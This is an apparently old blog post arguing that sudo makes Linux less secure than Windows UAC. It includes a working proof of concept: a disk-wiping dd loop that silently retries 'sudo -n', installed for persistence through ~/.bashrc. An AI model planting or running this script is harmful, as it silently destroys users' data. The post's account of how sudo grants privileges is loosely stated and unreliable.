Is Linux As Secure As You Think?

When working in environments where Linux and Windows operating systems are used together you have probably encountered discussions in the lines of "which one is more secure?". One of the frequent statements which will be thrown out during these discussions will be something in the lines of "Linux is more secure because you're not having administrator rights all the time and you will sudo only when it is really needed!". And all Windows users just give up without going forward with this crap. Today, Windows Vista/7 also have similar feature called UAC which asks for administrative privileges every time when it is really needed. One could say that it makes Windows as secure as Linux. I'm not agreeing with that statement either - i think that the same feature is actually less secure in Linux as it is in Windows.

Wait, What?!?

Yes, that is my honest opinion and i didn't write it accidentally. Just let me demonstrate that issue. By having sudo rights i can do "everything" on my Linux box (i'm using Ubuntu Linux for the commands in this post). One of the things i could do would be to zero out the drive so i'd just lose all the data:

dd if=/dev/zero of=/dev/sda

Wouldn't that cause a nice and clean feeling? Well, not if someone else does it to your drive! You might be thinking now: "Thankfully it is not possible to run that command without sudo rights...". Or isn't it? Fortunately you're right on this thing - it is not possible to run that command without sudo rights. But that's just one side of the problem.

How To Use That Knowledge Against Me?

Let's try to run that command without sudo rights first:

jarmo@jarmo-laptop:~$ dd if=/dev/zero of=/dev/sda
dd: opening `/dev/sda': Permission denied

Nice. Now, let's try with sudo:

jarmo@jarmo-laptop:~$ sudo dd if=/dev/zero of=/dev/sda
[sudo] password for jarmo: 

It asks for a password as expected. So if we don't enter that password right now then we are safe. Okay, we could trick that user to enter a password at this moment to trigger that command, but it wouldn't be that fun. Let's try some different approach instead.

Avoid Asking Sudo Password

As it turns out from the man-page of sudo then it has a command line switch for preventing password prompt to appear:

 -n   The (non - interactive) option prevents sudo from prompting the
      user for a password. If a password is required for the command to
      run, sudo will display an error messages and exit.

Okay let's try it:

jarmo@jarmo-laptop:~$ sudo -n dd if=/dev/zero of=/dev/sda
sudo: sorry, a password is required to run sudo
jarmo@jarmo-laptop:~$

Cool!

Creating The Malware

With knowing all that information it is possible to create some little script to use that against the Linux box. Let's start by creating our cool application into ~/.cool-app.sh:

while [ 1 ]; do
  sudo -n dd if=/dev/zero of=/dev/sda 2>/dev/null
  sleep 1
done

I've just done a script which tries to run that command forever and ever until there's sudo rights with additional redirection of all errors to /dev/null so i wouldn't suspect anything.

Let's run that script now:

jarmo@jarmo-laptop:~$ chmod +x cool-app.sh 
jarmo@jarmo-laptop:~$ ./cool-app.sh &
[2] 21510
jarmo@jarmo-laptop:~$ 

There you have it. The script is running in the background without showing any errors to the user.

Let's Start Your Engines

Let's add our cool application to one of the places where it will be started up automatically when terminal is opened - ~/.bashrc:

jarmo@jarmo-laptop:~$ echo "~/.cool-app.sh &" >> .bashrc

Now, when you open up a new terminal window then that cool application will be started automatically in the background without you even knowing it. Cool, eh?

It's going to get even cooler! Just use your terminal as you use it every day. If you're so called expert Linux user then you have it opened all the time and of course you do something which needs sudo rights, right? For example, you'd like to install some other cool applications once in a while with apt-get install. Why not do it right now? When you have that script running in the background and you enter password for sudo then you will lose potentially all your data! That's what i'd call cool if i'd do that to myself!

What's The Problem?

The problem is in the way how Linux elevates privileges by sudo. When you enter the password for sudo then the current process and it's subprocesses will be given sudo rights. That's where the .cool-app.sh will get also sudo rights and will start with the process of destroying your very secure Linux box.

The same process works a little bit differently in Windows - administrative privileges will be given to the specified process and it's child processes, but not to the current process.

Conclusion

Did you notice that all the things i did in this post didn't require me having any sudo rights? I hope you did, because that's the main point - anyone determined enough can "install" that time-bomb to any Linux machine if having access to the file system in any way, maybe sending an e-mail with some attachment could help him/her out? There's no need to worry about missing rights, because the user of that box will elevate those rights sooner or later. He or her could create some very sophisticated software instead of deleting everything from the machine - gather information, act as a zombie machine and so on. The possibilities depend on him/her imagination.

Do you still feel secure behind your Linux? I wouldn't.

(PS! I'm a Windows user and don't know many things about Linux - if there's some good way to defend yourself against that "attack", just let me know in the comments.)